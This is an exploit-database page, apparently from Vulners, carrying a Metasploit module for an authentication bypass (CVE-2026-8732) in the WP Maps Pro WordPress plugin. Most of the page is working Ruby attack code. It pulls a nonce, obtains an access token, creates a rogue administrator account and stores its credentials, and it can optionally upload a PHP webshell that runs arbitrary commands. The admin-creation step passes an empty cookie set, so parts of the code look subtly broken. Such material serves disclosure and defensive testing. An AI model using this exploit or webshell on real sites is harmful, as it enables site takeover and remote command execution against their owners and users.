Lucene search
K

📄 WordPress WP Maps Pro 6.1.0 Authentication Bypass

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 42 Views

Unauthenticated bypass in WordPress Maps Pro plugin enables tokens via wpgmp_temp_access_ajax.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-8732
30 May 202606:42
githubexploit
GithubExploit
Exploit for CVE-2026-8732
4 Jun 202616:22
githubexploit
GithubExploit
Exploit for CVE-2026-8732
30 May 202611:16
githubexploit
GithubExploit
Exploit for CVE-2026-8732
2 Jun 202602:51
githubexploit
GithubExploit
Exploit for CVE-2026-8732
30 May 202600:28
githubexploit
GithubExploit
Exploit for CVE-2026-8732
1 Jun 202609:06
githubexploit
ATTACKERKB
CVE-2026-8732
29 May 202605:32
attackerkb
Circl
CVE-2026-8732
29 May 202607:30
circl
CNNVD
WordPress plugin WP Maps Pro 访问控制错误漏洞
29 May 202600:00
cnnvd
CVE
CVE-2026-8732
29 May 202605:32
cve
Rows per page
==================================================================================================================================
    | # Title     : WordPress WP Google Map Pro Plugin Unauthenticated Authentication Bypass                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/wp-google-maps/                                                                    |
    ==================================================================================================================================
    
    [+] Summary    : A vulnerability in the WP Maps Pro plugin for WordPress allows unauthenticated attackers to generate valid authentication tokens via the wpgmp_temp_access_ajax AJAX action.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WP Maps Pro Plugin Unauthenticated Authentication Bypass',
            'Description' => %q{
              A vulnerability in the WP Maps Pro plugin for WordPress allows
              unauthenticated attackers to generate valid authentication tokens
              via the wpgmp_temp_access_ajax AJAX action. The vulnerability exists
              because the nonce check can be bypassed, allowing attackers to obtain
              a temporary access token that grants administrative privileges.
    
              Once an attacker has the token, they can use it to access the WordPress
              admin panel and create new administrator users.
    
              This module exploits the vulnerability to:
              1. Obtain a valid authentication token
              2. Use the token to create a new administrator user
              3. Optionally upload a webshell for persistence
    
              Affected versions: WP Maps Pro plugin versions prior to patch
              Tested on WordPress 6.x with WP Maps Pro vulnerable version
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-8732'],
              ['URL', 'https://wordpress.org/plugins/wp-google-maps/']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
          OptString.new('NEW_USER', [false, 'Username for new admin user', 'securityaudit']),
          OptString.new('NEW_PASS', [false, 'Password for new admin user', 'StrongP@ssw0rd123!']),
          OptString.new('NEW_EMAIL', [false, 'Email for new admin user', '[email protected]']),
          OptBool.new('CREATE_ADMIN', [true, 'Attempt to create admin user after obtaining token', true]),
          OptBool.new('UPLOAD_SHELL', [false, 'Attempt to upload webshell after gaining admin access', false]),
          OptInt.new('THREADS', [false, 'Number of threads for scanning', 1])
        ])
      end
      def wp_base
        normalize_uri(target_uri.path)
      end
      def admin_ajax_url
        normalize_uri(wp_base, 'wp-admin', 'admin-ajax.php')
     end
      def admin_users_url
        normalize_uri(wp_base, 'wp-admin', 'users.php')
      end
      def admin_user_new_url
        normalize_uri(wp_base, 'wp-admin', 'user-new.php')
      end
      def get_nonce
        print_status("Retrieving nonce from target...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => wp_base
        )
        
        if res && res.body
          nonce_match = res.body.match(/wpgmp_local.*?"nonce":"([^"]+)"/m)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found nonce: #{nonce}")
            return nonce
          end
          nonce_match = res.body.match(/fc-call-nonce["']?\s*:\s*["']([^"']+)/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found nonce: #{nonce}")
            return nonce
          end
        end
        
        print_error("Could not extract nonce")
        nil
      end
    
      def get_auth_token(nonce)
        print_status("Requesting authentication token...")
        
        data = {
          'action' => 'wpgmp_temp_access_ajax',
          'nonce' => nonce,
          'handler' => 'wpgmp_temp_access_support',
          'check_temp' => 'false'
        }
        
        headers = {
          'Content-Type' => 'application/x-www-form-urlencoded',
          'X-Requested-With' => 'XMLHttpRequest'
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_ajax_url,
          'vars_post' => data,
          'headers' => headers
        )
        
        if res && res.body
          token = extract_token(res.body)
          if token
            print_good("Token obtained: #{token}")
            return token, res.body
          end
        end
        
        nil
      end
    
      def extract_token(response_body)
        begin
          json = JSON.parse(response_body)
          if json['url']
            full_url = json['url']
            token_match = full_url.match(/[?&]wpmp_token=([^&]+)/)
            return token_match[1] if token_match
            token_match = full_url.match(/token=([^&]+)/)
            return token_match[1] if token_match
          end
          return json['token'] if json['token']
          return json['access_token'] if json['access_token']
        rescue JSON::ParserError
        end
        token_match = response_body.match(/wpmp_token=([a-f0-9]+)/)
        return token_match[1] if token_match
        
        token_match = response_body.match(/["']token["']\s*:\s*["']([^"']+)/)
        return token_match[1] if token_match
        
        token_match = response_body.match(/["']access_token["']\s*:\s*["']([^"']+)/)
        return token_match[1] if token_match
        if response_body =~ /^[a-f0-9]{32,}$/
          return response_body.strip
        end
        
        nil
      end
    
      def get_create_user_nonce(session_cookies)
        print_status("Retrieving create-user nonce...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => admin_user_new_url,
          'cookie' => session_cookies
        )
        
        if res && res.body
          nonce_match = res.body.match(/name="_wpnonce_create-user" value="([^"]+)"/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found create-user nonce: #{nonce}")
            return nonce
          end
          
          nonce_match = res.body.match(/id="_wpnonce_create-user"[^>]+value="([^"]+)"/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found create-user nonce: #{nonce}")
            return nonce
          end
        end
        
        nil
      end
      def create_admin_user(session_cookies, nonce, username, password, email)
        print_status("Creating admin user: #{username}")
        
        data = {
          'action' => 'createuser',
          '_wpnonce_create-user' => nonce,
          '_wp_http_referer' => '/wp-admin/user-new.php',
          'user_login' => username,
          'email' => email,
          'first_name' => '',
          'last_name' => '',
          'url' => '',
          'pass1' => password,
          'pass2' => password,
          'role' => 'administrator',
          'createuser' => 'Add New User'
        }
        
        headers = {
          'Content-Type' => 'application/x-www-form-urlencoded',
          'Referer' => full_uri(admin_user_new_url)
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_user_new_url,
          'vars_post' => data,
          'headers' => headers,
          'cookie' => session_cookies
        )
        
        if res && (res.code == 302 || res.code == 200)
          if res.headers['Location'] && res.headers['Location'].include?('users.php')
            print_good("Admin user created successfully (redirect to users.php)")
            return true
          end
        end
        verify_res = send_request_cgi(
          'method' => 'GET',
          'uri' => admin_users_url,
          'cookie' => session_cookies
        )
        
        if verify_res && verify_res.body && verify_res.body.include?(username)
          print_good("Admin user confirmed in users list")
          return true
        end
        
        false
      end
    
      def upload_webshell(session_cookies)
        print_status("Attempting to upload webshell...")
        webshell = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
        webshell_name = "shell_#{Rex::Text.rand_text_alpha_lower(8)}.php"
        upload_url = normalize_uri(wp_base, 'wp-admin', 'media-upload.php')
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{webshell_name}\"\r\n"
        post_data << "Content-Type: application/x-php\r\n\r\n"
        post_data << webshell
        post_data << "\r\n--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"html-upload\"\r\n\r\n"
        post_data << "Upload\r\n"
        post_data << "--#{boundary}--\r\n"
        
        headers = {
          'Content-Type' => "multipart/form-data; boundary=#{boundary}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => upload_url,
          'data' => post_data,
          'headers' => headers,
          'cookie' => session_cookies
        )
        
        if res && res.code == 200
          if res.body =~ /href="([^"]+\.php)/
            shell_url = $1
            print_good("Webshell uploaded to: #{shell_url}")
            return shell_url
          end
        end
        print_warning("Could not upload webshell via media endpoint")
        false
      end
    
      def store_credentials(host, username, password, email)
        cred = {
          host: host,
          port: datastore['RPORT'],
          service_name: 'wordpress',
          user: username,
          private_data: password,
          private_type: :password,
          realm_key: 'wp_admin',
          realm_value: 'WordPress Admin'
        }
        
        report_cred(cred)
        note_data = {
          'username' => username,
          'password' => password,
          'email' => email,
          'url' => "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{datastore['RPORT']}#{wp_base}"
        }
        
        report_note(
          host: host,
          port: datastore['RPORT'],
          type: 'wordpress.admin_creds',
          data: note_data,
          update: :unique_data
        )
      end
    
      def check_vulnerability
        print_status("Checking if target is vulnerable...")
        nonce = get_nonce
        unless nonce
          print_error("Could not retrieve nonce")
          return false
        end
        token, response = get_auth_token(nonce)
        if token
          print_good("Target appears VULNERABLE")
          return true
        end
        
        print_error("Target does not appear vulnerable")
        false
      end
    
      def run_host(ip)
        print_status("CVE-2026-8732 - WP Maps Pro Authentication Bypass")
        print_status("Target: #{peer}")
        res = send_request_cgi('method' => 'GET', 'uri' => wp_base)
        unless res && res.body && res.body.include?('wp-content')
          print_error("Target does not appear to be WordPress")
          return
        end
        
        print_good("WordPress detected")
        nonce = get_nonce
        unless nonce
          print_error("Could not retrieve nonce. Plugin may not be active.")
          return
        end
        token, response = get_auth_token(nonce)
        unless token
          print_error("Could not obtain authentication token")
          return
        end
        
        print_good("Authentication token obtained successfully")
        report_note(
          host: ip,
          port: datastore['RPORT'],
          type: 'wordpress.auth_token',
          data: { 'token' => token, 'nonce' => nonce },
          update: :unique_data
        )
        if datastore['CREATE_ADMIN']
          print_status("Attempting to create admin user...")
          session_cookies = {}
          
          create_nonce = get_create_user_nonce(session_cookies)
          unless create_nonce
            print_error("Could not retrieve create-user nonce")
            return
          end
          
          username = datastore['NEW_USER'] || "securityaudit_#{Time.now.to_i}"
          password = datastore['NEW_PASS'] || "StrongP@ssw0rd123!"
          email = datastore['NEW_EMAIL'] || "[email protected]"
          
          if create_admin_user(session_cookies, create_nonce, username, password, email)
            print_good("Admin user created successfully!")
            print_good("  Username: #{username}")
            print_good("  Password: #{password}")
            print_good("  Email: #{email}")
            store_credentials(ip, username, password, email)
            if datastore['UPLOAD_SHELL']
              upload_webshell(session_cookies)
            end
          else
            print_error("Failed to create admin user")
          end
        end
        print_good("Exploitation completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.09461
SSVC
42